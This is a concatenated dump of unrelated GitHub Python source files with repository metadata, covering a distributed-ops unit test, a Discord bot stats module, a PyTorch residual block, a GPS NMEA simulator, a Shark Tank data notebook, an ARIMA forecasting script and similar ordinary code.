'assert_callback':\n                lambda res: self.assertListEqual(\n                    res,\n                    np.asarray([[[[1.0, 2.0], [3.0, 4.0]],\n                                 [[4.0, 3.0], [2.0, 1.0]]],\n                                [[[2.0, 4.0], [6.0, 8.0]],\n                                 [[8.0, 6.0], [4.0, 2.0]]]]).tolist()),\n                'base_value': [[[1.0, 2.0], [3.0, 4.0]],\n                               [[4.0, 3.0], [2.0, 1.0]]],\n            },\n        ]\n\n        for case in cases:\n            # test original all_reduce\n            self.start_with_torch(\n                _all_gather,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                base_value=case['base_value'])\n\n            # test torchacc all_reduce\n            kwargs = {'torchacc_enabled': True}\n            self.start_with_torchacc(\n                _all_gather,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                base_value=case['base_value'],\n                **kwargs)\n\n    def test_all_reduce(self):\n        # base value will multiply with rank+1\n        cases = [\n            {\n                'assert_callback': lambda res: self.assertEqual(res, 3.0),\n                'base_value': 1.0,\n                'op_str': 'SUM'\n            },\n            {\n                'assert_callback': lambda res: self.assertEqual(res, 2),\n                'base_value': 2,\n                'op_str': 'MIN'\n            },\n            {\n                'assert_callback': lambda res: self.assertListEqual(res, [2.]),\n                'base_value': [1.0],\n                'op_str': 'MAX'\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(res, [2.0, 8.0]),\n                'base_value': [1.0, 2.0],\n                'op_str':\n                'PRODUCT'\n            },\n            {\n                'assert_callback':\n                lambda res: self.assertListEqual(\n                    res,\n                    np.asarray([[[3.0, 6.0], [9.0, 12.0]],\n                                [[12.0, 9.0], [6.0, 3.0]]]).tolist()),\n                'base_value': [[[1.0, 2.0], [3.0, 4.0]],\n                               [[4.0, 3.0], [2.0, 1.0]]],\n                'op_str':\n                'SUM'\n            },\n        ]\n\n        for case in cases:\n            # test original all_reduce\n            self.start_with_torch(\n                _all_reduce,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                base_value=case['base_value'],\n                op_str=case['op_str'])\n\n            # test torchacc all_reduce\n            kwargs = {'torchacc_enabled': True}\n            self.start_with_torchacc(\n                _all_reduce,\n                num_gpus=2,\n                assert_callback=case['assert_callback'],\n                base_value=case['base_value'],\n                op_str=case['op_str'],\n                **kwargs)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"alibaba/EasyCV","sub_path":"tests/test_toolkit/torchacc/test_convert_ops.py","file_name":"test_convert_ops.py","file_ext":"py","file_size_in_byte":10831,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"}
+{"seq_id":"7600295353","text":"# tracking.py\n\"\"\"Contains commands related to command tracking\"\"\"\n\nfrom datetime import timedelta\nfrom typing import Optional, Union\n\nimport discord\nfrom discord import utils\nfrom discord.ext import commands\nfrom humanfriendly import format_timespan\n\nfrom database import users, tracking\nfrom resources import emojis, functions, exceptions, settings, strings, views\n\n\n# --- Commands ---\nasync def command_stats(\n    bot: discord.Bot,\n    ctx: Union[commands.Context, discord.ApplicationContext, discord.Message],\n    timestring: Optional[str] = None,\n    user: Optional[discord.User] = None,\n) -> None:\n    \"\"\"Lists all stats\"\"\"\n    if user is None: user = ctx.author\n    try:\n        user_settings: users.User = await users.get_user(user.id)\n    except exceptions.FirstTimeUserError:\n        if user == ctx.author:\n            raise\n        else:\n            await functions.reply_or_respond(ctx, 'This user is not registered with this bot.', True)\n            return\n    if timestring is None:\n        embed = await embed_stats_overview(ctx, user)\n    else:\n        try:\n            timestring = await functions.check_timestring(timestring)\n        except exceptions.InvalidTimestringError as error:\n            msg_error = (\n                f'{error}\\n'\n                f'Supported time codes: `w`, `d`, `h`, `m`, `s`\\n\\n'\n                f'Examples:\\n'\n                f'{emojis.BP} `30s`\\n'\n                f'{emojis.BP} `1h30m`\\n'\n                f'{emojis.BP} `7d`\\n'\n            )\n            await functions.reply_or_respond(ctx, msg_error, True)\n            return\n        try:\n            time_left = await functions.parse_timestring_to_timedelta(timestring)\n        except OverflowError as error:\n            await ctx.reply(error)\n            return\n        if time_left.days > 28: time_left = timedelta(days=time_left.days)\n        if time_left.days > 365:\n            await ctx.reply('The maximum time is 365d, sorry.')\n            return\n        embed = await embed_stats_timeframe(ctx, user, time_left)\n    view = views.StatsView(ctx, user, user_settings)\n    if isinstance(ctx, discord.ApplicationContext):\n        interaction_message = await ctx.respond(embed=embed, view=view)\n    else:\n        interaction_message = await ctx.reply(embed=embed, view=view)\n    view.interaction_message = interaction_message\n    await view.wait()\n\n\n# --- Embeds ---\nasync def embed_stats_overview(ctx: commands.Context, user: discord.User) -> discord.Embed:\n    \"\"\"Stats overview embed\"\"\"\n    user_settings: users.User = await users.get_user(user.id)\n    current_time = utils.utcnow().replace(microsecond=0)\n    field_last_1h = await design_field(timedelta(hours=1), user)\n    field_last_12h = await design_field(timedelta(hours=12), user)\n    field_last_24h = await design_field(timedelta(hours=24), user)\n    field_last_7d = await design_field(timedelta(days=7), user)\n    field_last_4w = await design_field(timedelta(days=28), user)\n    field_last_1y = await design_field(timedelta(days=365), user)\n    field_last_rebirth = await design_field(current_time-user_settings.last_rebirth, user)\n    field_last_rebirth = (\n        f'{field_last_rebirth.strip()}\\n\\nYour last rebirth was on {utils.format_dt(user_settings.last_rebirth)}.'\n    )\n    embed = discord.Embed(\n        color = settings.EMBED_COLOR,\n        title = f'{user.name}\\'s stats',\n        description = '**Command tracking is currently turned off!**' if not user_settings.tracking_enabled else ''\n    )\n    embed.add_field(name='Last hour', value=field_last_1h, inline=True)\n    embed.add_field(name='Last 12 hours', value=field_last_12h, inline=True)\n    embed.add_field(name='Last 24 hours', value=field_last_24h, inline=True)\n    embed.add_field(name='Last 7 days', value=field_last_7d, inline=True)\n    embed.add_field(name='Last 4 weeks', value=field_last_4w, inline=True)\n    embed.add_field(name='Last year', value=field_last_1y, inline=True)\n    embed.add_field(name='Since last rebirth', value=field_last_rebirth, inline=True)\n    return embed\n\n\nasync def embed_stats_timeframe(ctx: commands.Context, user: discord.Member, time_left: timedelta) -> discord.Embed:\n    \"\"\"Stats timeframe embed\"\"\"\n    user_settings: users.User = await users.get_user(user.id)\n    field_content = await design_field(time_left, user)\n    embed = discord.Embed(\n        color = settings.EMBED_COLOR,\n        title = f'{user.name}\\'s stats',\n        description = '**Command tracking is currently turned off!**' if not user_settings.tracking_enabled else ''\n    )\n    embed.add_field(name=f'Last {format_timespan(time_left)}', value=field_content, inline=False)\n    return embed\n\n\n# --- Functions ---\nasync def design_field(timeframe: timedelta, user: discord.Member) -> str:\n    \"\"\"Designs a stats field and returns it\"\"\"\n    async def calculate_percentage(item_amount: int, total_amount: int) -> int:\n        try:\n            percentage = round(item_amount / total_amount * 100, 2)\n        except ZeroDivisionError:\n            percentage = 0\n        return percentage\n    \n    report: tracking.LogReport = await tracking.get_log_report(user.id, timeframe)\n    field_content = (\n        f'{emojis.BP} `prune`: {report.prune_amount:,}\\n'\n        f'{emojis.DETAIL2} {emojis.NUGGET_WOODEN} {report.nugget_wooden_amount:,} '\n        f'({await calculate_percentage(report.nugget_wooden_amount, report.prune_amount):g}%)\\n'\n        f'{emojis.DETAIL2} {emojis.NUGGET_COPPER} {report.nugget_copper_amount:,} '\n        f'({await calculate_percentage(report.nugget_copper_amount, report.prune_amount):g}%)\\n'\n        f'{emojis.DETAIL2} {emojis.NUGGET_SILVER} {report.nugget_silver_amount:,} '\n        f'({await calculate_percentage(report.nugget_silver_amount, report.prune_amount):g}%)\\n'\n        f'{emojis.DETAIL2} {emojis.NUGGET_GOLDEN} {report.nugget_golden_amount:,} '\n        f'({await calculate_percentage(report.nugget_golden_amount, report.prune_amount):g}%)\\n'\n        f'{emojis.DETAIL} {emojis.NUGGET_DIAMOND} {report.nugget_diamond_amount:,} '\n        f'({await calculate_percentage(report.nugget_diamond_amount, report.prune_amount):g}%)\\n'\n        f'{emojis.BP} `clean`: {report.clean_amount:,}\\n'\n        f'{emojis.BP} `captcha`: {report.captcha_amount:,}\\n'\n    )\n    return field_content","repo_name":"Miriel-py/Maya-the-Bee","sub_path":"content/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"21715126079","text":"import math\n\nimport torch\nfrom torch import nn, Tensor\n\n\nclass ResidualBlock(nn.Module):\n    def __init__(\n            self,\n            hidden_size: int,\n            condition_size: int,\n            dilation: int,\n            is_last: bool,\n    ):\n        super().__init__()\n\n        self.input_conv = nn.utils.weight_norm(nn.Conv1d(\n            in_channels=hidden_size,\n            out_channels=hidden_size * 2,\n            kernel_size=3,\n            dilation=dilation,\n            padding=dilation,\n        ))\n\n        self.condition_conv = nn.utils.weight_norm(nn.Conv1d(\n            in_channels=condition_size,\n            out_channels=hidden_size * 2,\n            kernel_size=1,\n            bias=False,\n        ))\n\n        self.skip_conv = nn.utils.weight_norm(nn.Conv1d(\n            in_channels=hidden_size,\n            out_channels=hidden_size,\n            kernel_size=1,\n        ))\n\n        if not is_last:\n            self.output_conv = nn.utils.weight_norm(nn.Conv1d(\n                in_channels=hidden_size,\n                out_channels=hidden_size,\n                kernel_size=1,\n            ))\n        else:\n            self.output_conv = None\n\n    def forward(\n            self,\n            x: Tensor,\n            c: Tensor,\n    ):\n        h = self.input_conv(x) + self.condition_conv(c)\n\n        a, b = h.split(h.shape[1] // 2, dim=1)\n        h = torch.tanh(a) * torch.sigmoid(b)\n\n        if self.output_conv is not None:\n            output = (self.output_conv(h) + x) * math.sqrt(0.5)\n        else:\n            output = None\n\n        skip = self.skip_conv(h)\n        return output, skip\n","repo_name":"Hiroshiba/yukarin_nsf","sub_path":"yukarin_nsf/network/residual_block.py","file_name":"residual_block.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"44693463939","text":"from machine import Pin, UART\r\nfrom time import sleep\r\nimport s900l\r\n\r\n########################################################################\r\n#Initial variable\r\nled=Pin(25, Pin.OUT)\r\nswitch_pin = Pin(22, Pin.IN, Pin.PULL_UP)\r\ngsm_module = UART(0, baudrate=9600, tx=Pin(0), rx=Pin(1), timeout=2000)\r\ncounter=0\r\nnumberDestination = '' #Type number to call \r\n########################################################################\r\nsleep(10) #Time for connect module GSM to net\r\nwhile True:\r\n    if switch_pin.value() == 0 and counter>=3:\r\n        led.toggle()\r\n        sleep(1)\r\n        print('Three phone calls are made, the operation is completed')\r\n    if switch_pin.value() == 0 and counter<3:\r\n        print('The termination of the operation of the sprinkler system is detected')\r\n        sleep(30)\r\n        print('The rain shower terminated - I call three times')\r\n        while switch_pin.value() == 0 and counter<3:\r\n            led.value(0)\r\n            print('This is '+ str(counter+1) +' call')\r\n            s900l.call(numberDestination,20)\r\n            counter+=1\r\n            sleep(15)       \r\n    if switch_pin.value() == 1:\r\n        led.value(1)\r\n        print('Ready to work')\r\n        sleep(3)\r\n        counter=0\r\n    \r\n","repo_name":"mizticer/Call-Raspberry-PICO-GSM-800L","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"31841453534","text":"from pygpsimulator import simutime\n\n\nclass PositionData:\n    \"\"\"\n    Class that represents simulation of navigation data of NMEA 0183 (GPS uses WGS84 Datum)\n    Use current system time (local time zone), as UTC GPS time.\n\n    :parameter system_id: GPS (GP) or GLONASS (GL). Default is GP\n    :type system_id: Unicode\n    :parameter sentence_id: Sentence Identifier, RMC, GGA etc. Default is RMC (recommended minimum sentence)\n    :parameter status: validity  A - valid, V - invalid. Default is valid\n    :parameter latitude: the location's latitude. Must be between 0 and 90\n    :parameter ns: type of latitude - North/South - N or S\n    :parameter longitude: the location's longitude. Must be between 0 and 180\n    :parameter ew: type of longitude - East/West - E or W\n    :parameter speed: speed in knots\n    :parameter course: true course in degrees\n    :parameter variation: in degrees\n    :parameter variation_ew: type of variation - East/West - E or W\n    :parameter mode: A -  autonomous, D - differential, E - approximation, N - unreliable\n    :parameter fixquality: 0 - invalid, 1 - GPS fix, 2 - DGPS fix. Default GPS fix - 1\n    :parameter satellites: number of satellites\n    :parameter hdop: Horizontal Dilution of Precision (HDOP), Relative accuracy of horizontal position\n    :parameter hog: Height of geoid above WGS84 ellipsoid\n    :parameter tslu: Time since last DGPS update\n    :parameter dgps_station_id: DGPS reference station id\n\n    \"\"\"\n\n    def __init__(self, system_id='GP',\n                 sentence_id='RMC',\n                 status='A',\n                 latitude='4001.20676',\n                 ns='N',\n                 longitude='10512.97088',\n                 ew='W',\n                 speed='0.06',\n                 course='25.82',\n                 variation='',\n                 variation_ew='',\n                 mode='D',\n                 fixquality='1',\n                 satellites='07',\n                 hdop='',\n                 altitude='150.0',\n                 hog='',\n                 tslu='',\n                 dgps_station_id=''):\n        self._system_id = system_id\n        self._sentence_id = sentence_id\n        self._status = status\n        self._latitude = latitude\n        self._ns = ns\n        self._longitude = longitude\n        self._ew = ew\n        self._speed = speed\n        self._course = course\n        self._variation = variation\n        self._variation_ew = variation_ew\n        self._mode = mode\n        self._fixquality = fixquality\n        self._satellites = satellites\n        self._hdop = hdop\n        self._altitude = altitude\n        self._hog = hog\n        self._tslu = tslu\n        self._dgps_station_id = dgps_station_id\n\n    def get_coord(self):\n        if self._sentence_id == \"RMC\":\n            return \"{0}{1},{2},{3},{4},{5},{6},{7},\" \\\n                   \"{8},{9},{10},{11},{12},{13}\".format(self._system_id, self._sentence_id,\n                                                        simutime.TimeDate().get_time(), self._status,\n                                                        self._latitude, self._ns, self._longitude, self._ew,\n                                                        self._speed, self._course, simutime.TimeDate().get_date,\n                                                        self._variation, self._variation_ew, self._mode)\n        elif self._sentence_id == \"GGA\":\n            return \"{0}{1},{2},{3},{4},{5},{6},{7},\" \\\n                   \"{8},{9},{10},M,{11},M,{12},{13}\".format(self._system_id, self._sentence_id,\n                                                            simutime.TimeDate().get_time(),\n                                                            self._latitude, self._ns, self._longitude, self._ew,\n                                                            self._fixquality, self._satellites, self._hdop,\n                                                            self._altitude, self._hog, self._tslu,\n                                                            self._dgps_station_id)\n\n        else:\n            return \"Unknown sentence\"\n\n    def checksum(self):\n        cksum = 0\n        data = self.get_coord()\n        for ch in str(data):\n            cksum ^= ord(ch)\n        return '$' + data + '*%02X\\r\\n' % cksum\n","repo_name":"dorokhin/pygpsimulator","sub_path":"pygpsimulator/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34789497164","text":"\"\"\"\nOne Away: There are three types of edits that can be performed on strings: insert a character,\nremove a character, or replace a character. Given two strings, write a function to check if they are\none edit (or zero edits) away.\n\"\"\"\n\ndef oneAway(str1, str2):\n    alphabet = [0] * 128\n    for c in str1:\n        alphabet[ord(c)] += 1\n    for c in str2:\n        if alphabet[ord(c)] > 0:\n            alphabet[ord(c)] -= 1\n        else:\n            alphabet[ord(c)] += 1\n    \n    differences = 0\n    for count in alphabet:\n        differences += count\n    \n    return differences <= 2\n\nassert oneAway(\"pale\", \"ple\") == True\nassert oneAway(\"pales\", \"pale\") == True\nassert oneAway(\"pale\", \"bale\") == True\nassert oneAway(\"pale\", \"bake\") == False\n","repo_name":"vo-andrew/interview-prep","sub_path":"ctci/p1-5.py","file_name":"p1-5.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29412275866","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport pandas as pd\n\n\n# In[3]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport matplotlib\nplt.style.use('ggplot')\nfrom matplotlib.pyplot import figure\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nmatplotlib.rcParams['figure.figsize'] = (12,8)\n\npd.options.mode.chained_assignment = None\n\n\n# In[4]:\n\n\n#Opening the data in jupyter notebook\ndf = pd.read_csv (r'C:\\Users\\Kiba\\Desktop\\All Here\\Practice Datasets\\Shark Tank India\\shark tank india - Copy.csv')\ndf\n\n\n# In[5]:\n\n\n#Removed the previous column header and promoted the first row of the data to column header. \ndf.columns = df.iloc[0]\ndf = df[1:]\ndf\n\n\n# In[6]:\n\n\ndf.head()\n\n\n# In[7]:\n\n\n#Creating a new column called Del Status where the column will show if the deal was made or not.\ndf['Deal Status'] = np.where(df['Deal']!= 'No Deal', 'Yes', 'No')\ndf.head()\n\n\n# In[8]:\n\n\n#Getting column number of 'Deal Status'\ndf.columns.get_loc(\"Deal Status\")\n\n\n# In[9]:\n\n\n#Getting column number of Deal so as to move 'Deal Status' column next to it.\ndf.columns.get_loc(\"Deal\")\n\n\n# In[10]:\n\n\n#Rearranging the columns where now 'Deal Status' is next to 'Deal'\ndf.insert(7, 'Deal Status', df.pop('Deal Status'))\ndf.head()\n\n\n# In[11]:\n\n\n#Getting the info of the dataset\ndf.info()\n\n\n# In[12]:\n\n\n#this shows the shape of the dataset. 120 rows and 15 columns.\ndf.shape\n#after showing the columns and shape we can see there are some null columns from Ashneer to Ghazal.\n#how did i know this? the rows show 120. So there should be 120 non-null entries.\n#from Ashneer to Ghazal there arent no 120 non null entries. \n\n\n# In[13]:\n\n\n#to show all the columns in the dataset.\ndf.columns\n\n\n# In[14]:\n\n\n#Checking the number of null values there are in the data caolumsn.\ndf.isna().sum()\n\n\n# In[15]:\n\n\n# Lets find the total number of null values\n\ndf.isnull().sum().sum()\n\nprint('The total number of null values in the whole dataset is {}.'.format(df.isnull().sum().sum()))\n\n\n# In[16]:\n\n\n#checking duplicates in the dataset. The numbers from 1 to 120 are the rows. \n#All are shown flase so there is no duplicate values but if there is then there will be a 'True'\ndf.duplicated()\n#So there are no duplicates in this data. \n\n\n# In[17]:\n\n\n#this is to show if there is any uniqe value\n#for example if there is some unique value in a number column which contains text then this function will reveal it. \ndf['Brand'].unique()\n\n\n# In[18]:\n\n\n# Lets find the total number of null values in a particualr column. in this case it is the 'Idea' column\n\ndf['Idea'].isnull().sum()\n\nprint('The total number of null values in Idea column is {}.'.format(df['Idea'].isnull().sum()))\n# We find out there is no null values. \n\n\n# In[19]:\n\n\n#Replacing all the null values in a column with 0. You can fill it with anything but i choose 0.\ndf['Ashneer'].fillna(0)\n#Replacing all the null values in a column with 'No Investment'.\ndf['Ashneer'].fillna('No Investment')\n#Replacing all the null values in a column with 0. You can fill it with anything but i choose 0.\n#Cuurently this code is being run so you will see 0's instead of null values. \n#For other values execute the previous code in this cell. \n\n#Finnaly, i did not write 'inplace=True' after 0 in the code. \n#If i wanted the changes to take place in the data i should write 'inplace=true'\n#For this example i did not so as to show other fillna codes below but if i want to remove the Null/NA colulmns then,\n#i should use 'inplace=True' after the 0.\ndf['Ashneer'].fillna(0)\n\n\n# In[20]:\n\n\n#checking if 'Ashneer' column has 0 values\ndf['Ashneer'].isnull().sum()\n\n\n# In[21]:\n\n\n#To replace all the NAN/Null values with 0. I can use anything but for this example i used 0.\n#Again if i wanted to make permanent changes i should use 'inplace=True' after the 0 seperated by a comma\ndf.fillna(0)\n\n\n# In[22]:\n\n\ndf['Ashneer'].notnull()\n\n\n# In[23]:\n\n\ndf.head()\n\n\n# In[24]:\n\n\n# Getting the column numbers by using df.info()\ndf.info()\n\n\n# ### Before this keeps te data in its original form\n\n# In[25]:\n\n\n# Selecting only the columns that needs to be changed. \ndf.iloc[:,8:15]\n\n\n# In[26]:\n\n\n#Converting only selected columns to 1 and 0 \ndf.iloc[:,8:15].eq('yes').mul(1)\n\n\n# In[27]:\n\n\ndf.replace('yes', 1)\n\n\n# In[28]:\n\n\ndf\n\n\n# In[29]:\n\n\n#Removing additional spaces\ndf.columns = df.columns.str.replace(' ', '')\n\n\n# In[30]:\n\n\ndf\n\n\n# In[31]:\n\n\n#converting all the Yes to 1. \ndf.iloc[:,8:15].eq('yes').mul(1)\n\n\n# In[32]:\n\n\n#there was a problem. yes in 'Anupam' column were not reading as 'Yes' so i wanted to check the column.\n#also seeing the 'NaN' values.\ndf['Anupam']\n\n\n# In[33]:\n\n\n#checking the total amount of not null values\ndf['Anupam'].notnull().sum()\n\n\n# In[34]:\n\n\n#converting null and not null values to 1s and 0s only on 'Anupam' column.\ndf['Anupam'] = df['Anupam'].notnull().astype('int')\n\n\n# In[35]:\n\n\n#checking the result\ndf['Anupam']\n\n\n# In[36]:\n\n\ndf['Anupam'].notnull().sum\n\n\n# In[37]:\n\n\n#counting the number of 1s which means true or 'yes' from the dataset.\ndf['Anupam'].value_counts()[1]\n\n\n# In[38]:\n\n\n#if you want to change only specific columns to yes or no.\nndf = df.iloc[:,8:10].notnull().astype('int')\n\n\n# In[39]:\n\n\nndf = df\n\n\n# In[40]:\n\n\nndf = df.iloc[:,8:15].notnull().astype('int')\n\n\n# In[41]:\n\n\nndf\n\n\n# In[ ]:\n\n\n\n\n\n# In[42]:\n\n\ndf\n\n\n# In[43]:\n\n\n#Creating a new data set with inte values.\nwdf = df.notnull().astype('int')\n\n\n# In[44]:\n\n\nwdf = df\n\n\n# In[45]:\n\n\ndf\n\n\n# In[46]:\n\n\n# the result i wanted. converting the columns i want from 'yes' and 'NaN' to 1s and 0s\nwdf = wdf.iloc[:,8:15].notnull().astype('int')\n\n\n# In[47]:\n\n\nwdf['Anupam'].value_counts()[1]\n\n\n# In[48]:\n\n\nwdf\n\n\n# ### Starting New\n\n# In[49]:\n\n\n# Starting new\ndf\n\n\n# In[50]:\n\n\nwdf = df.notnull().astype('int')\n\n\n# In[51]:\n\n\ndf\n\n\n# ### correction happens from here where i make a new dataset wdf with only int values\n# ### 1s and 0s as yes or no. \n\n# In[52]:\n\n\nwdf = df\n\n\n# In[53]:\n\n\nwdf\n\n\n# In[54]:\n\n\ndf\n\n\n# In[55]:\n\n\nwdf = df.notnull().astype('int')\n\n\n# In[56]:\n\n\nwdf\n\n\n# In[ ]:\n\n\n\n\n\n# ### creating correlation for only Hosts\n\n# In[57]:\n\n\nwdf.apply(lambda x: x.factorize()[0]).corr(method='pearson')\n\n\n# In[58]:\n\n\ncorrelation_matrix = wdf.apply(lambda x: x.factorize()[0]).corr(method='pearson')\n\nsns.heatmap(correlation_matrix, annot = True)\n\nplt.title(\"Correlation matrix for Shark Tank\")\n\nplt.xlabel(\"Shark Tank features\")\n\nplt.ylabel(\"Shark Tank features\")\n\nplt.show()\n\n\n# In[59]:\n\n\nwdf\n\n\n# In[60]:\n\n\n# now checking the total amount of time hosts invested. \nwdf['Ashneer'].value_counts()[1]\n\n\n# In[61]:\n\n\nwdf['Namita'].value_counts()[1]\n\n\n# In[62]:\n\n\nwdf['Anupam'].value_counts()[1]\n\n\n# In[63]:\n\n\nwdf['Vineeta'].value_counts()[1]\n\n\n# In[64]:\n\n\nwdf['Aman'].value_counts()[1]\n\n\n# In[65]:\n\n\nwdf['Peyush'].value_counts()[1]\n\n\n# In[66]:\n\n\nwdf['Ghazal'].value_counts()[1]\n\n\n# In[67]:\n\n\n# creating pie chart for the data\n# this shows who is more likely to invest in shark tank\ny = np.array([24, 25, 27, 18, 31, 30, 10])\nmylabels = [\"Ashneer\", \"Namita\", \"Anupam\", \"Vineeta\",\"Aman\",\"Peyush\",\"Ghazal\"]\n\nplt.pie(y, labels = mylabels, startangle = 90, autopct='%1.0f%%')\nplt.show() \n\n\n# In[74]:\n\n\n#checking out the original data for creating a graph out of deal status\ndf\n\n\n# In[75]:\n\n\n#checking the info of the column\ndf['DealStatus'].value_counts()\n\n\n# In[78]:\n\n\ndf['DealStatus'].value_counts().plot(kind='bar')\n\n\n# ### Finding correlation.\n\n# In[68]:\n\n\n# now finding the correleation in this dataset as a whole.\n# Using factorize - this assigns a random numeric value for each unique categorical value\n\ndf.apply(lambda x: x.factorize()[0]).corr(method='pearson')\n\n\n# In[69]:\n\n\ncorrelation_matrix = df.apply(lambda x: x.factorize()[0]).corr(method='pearson')\n\nsns.heatmap(correlation_matrix, annot = True)\n\nplt.title(\"Correlation matrix for Shark Tank\")\n\nplt.xlabel(\"Shark Tank features\")\n\nplt.ylabel(\"Shark Tank features\")\n\nplt.show()\n\n\n# In[70]:\n\n\nsns.regplot(x=\"Ashneer\", y=\"Vineeta\", data=wdf)\n\n\n# In[71]:\n\n\n\nsns.set_style('whitegrid')\nsns.lmplot(x ='Ashneer', y ='Vineeta', data = wdf)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"aksh4ykumar/portfolioprojects","sub_path":"Shark Tank India - Py.py","file_name":"Shark Tank India - Py.py","file_ext":"py","file_size_in_byte":8098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18174416262","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n    path('', views.product_list, name='product_list'),\r\n    path('<slug:category_slug>/', views.product_list, name='product_list_by_category'),\r\n    path('<int:id>/<slug:slug>/', views.product_detail, name='product_detail'),\r\n    path('shop/delivery/', views.delivery, name='delivery'),\r\n    path('shop/about/', views.about, name='about'),\r\n    path('shop/login/', views.login, name='login'),\r\n    path('account/account/register/', views.register, name='register'),\r\n    path('shop/register_done/', views.register_done, name='register_done'),\r\n\r\n]\r\n\r\n","repo_name":"ekatwho/bookstore45","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70778172352","text":"# Number of teams (max 5)\nnTeams = 3\n\n# World size (in cells)\nworldWidth, worldHeight = 320, 180\n\n# Cell parameters\nstartingPopulation = 500          # World is initialized with 100 cells\ncellMaxAge = 10                   # Cells die at ~10 epochs\ncellMaxAgeVariance = 0.2          # Cell max age can be +-20%\ncellMaxLifePoints = 100           # Cells have a maximum of ~100 life points\ncellMaxLifePointsVariance = 0.2   # Cells max life points can be +-20%\ncellMinStartingLifeFactor = 0.75  # A cell is randomly initialized with between 75 and 100 life points\ncellMatingCost = 25             # A cell loses 25 of its life points when mating\ncellMutationRate = 0.1            # A newborn cell mutates all its genes with a probability of 10%\n\n# Genetic mask: relative weight of every gen (inclination towards an action)\ngeneticMask = {'blue':   {'wait': 1, 'move': 1, 'mate': 1, 'attack': 1, 'changeTeam': 1},\n               'red':    {'wait': 1, 'move': 1, 'mate': 1, 'attack': 1, 'changeTeam': 1},\n               'green':  {'wait': 1, 'move': 1, 'mate': 1, 'attack': 1, 'changeTeam': 1},\n               'yellow': {'wait': 1, 'move': 1, 'mate': 1, 'attack': 1, 'changeTeam': 1},\n               'white':  {'wait': 1, 'move': 1, 'mate': 1, 'attack': 1, 'changeTeam': 1}}\n\n# Resources\nneighbourLimit = 5  # 8 for no resource competition\n\n# OUTPUT --------------------------------------------------------------------------------------\n\n# Print data\nlogData = True                          # Print data for every step\n\n# Window\nshowWindow = True                       # Show the simulation window\nwindowWidth, windowHeight = 1920, 1080  # Window pixel size\ngridOn = False                          # Show grid\nframeWait = 0.1                         # Time to wait between frames\n\n# Plot\nshowPlot = True                         # Show plots (slower)\n\n# Video\nwriteVideo = True                       # Save sim to video\nvideoWidth, videoHeight = 1920, 1080    # Video pixel size\nvideoFPS = 20                           # Frames per second\nvideoPath = './simulation.mkv'          # Video path\nlossless = False                        # Use lossless encoding?\n\n# Colors\ncolors = {'blue':      (102, 194, 255),\n          'red':       (255, 102, 102),\n          'green':     (0, 204, 102),\n          'yellow':    (255, 255, 179),\n          'white':     (255, 255, 255),\n          'darkGray':  (25, 25, 25),\n          'lightGray': (100, 100, 100)}\n\nbackgroundColor = colors['darkGray']\ngridColor = colors['lightGray']\n","repo_name":"dvilelaf/AutoCell","sub_path":"Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10943134147","text":"# evaluate an ARIMA model using a walk-forward validation\nimport pandas as pd\nfrom matplotlib import pyplot\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\n\n\ndataset = pd.read_csv('../Datasets/input.csv')\ny = dataset['D_Total']\n# split into train and test sets\nX = dataset['D_Total']\ntrain = X[:280]\ntest = X[280:]\ntest = test.reset_index()\ntest = test.drop(columns=['index'])\nprint(test)\nhistory = [x for x in train]\nprint(history)\npredictions = list()\n\n\n\nfor t in range(len(test)):\n\tmodel = ARIMA(history, order=(2, 0,0))\n\tmodel_fit = model.fit()\n\toutput = model_fit.forecast()\n\tprint(output)\n\tyhat = output[0]\n\tpredictions.append(yhat)\n\tobs = test.iloc[t]\n\thistory.append(obs)\n\tprint('predicted=%f, expected=%f' % (yhat, obs))\n# evaluate forecasts\n# rmse = sqrt(mean_squared_error(test, predictions))\n# print('Test RMSE: %.3f' % rmse)\n# plot forecasts against actual outcomes\npyplot.plot(test)\npyplot.plot(predictions, color='red')\npyplot.show()\n\n\n\n","repo_name":"PLFranc/MTPBicycle","sub_path":"Prediction/ARIMA.py","file_name":"ARIMA.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
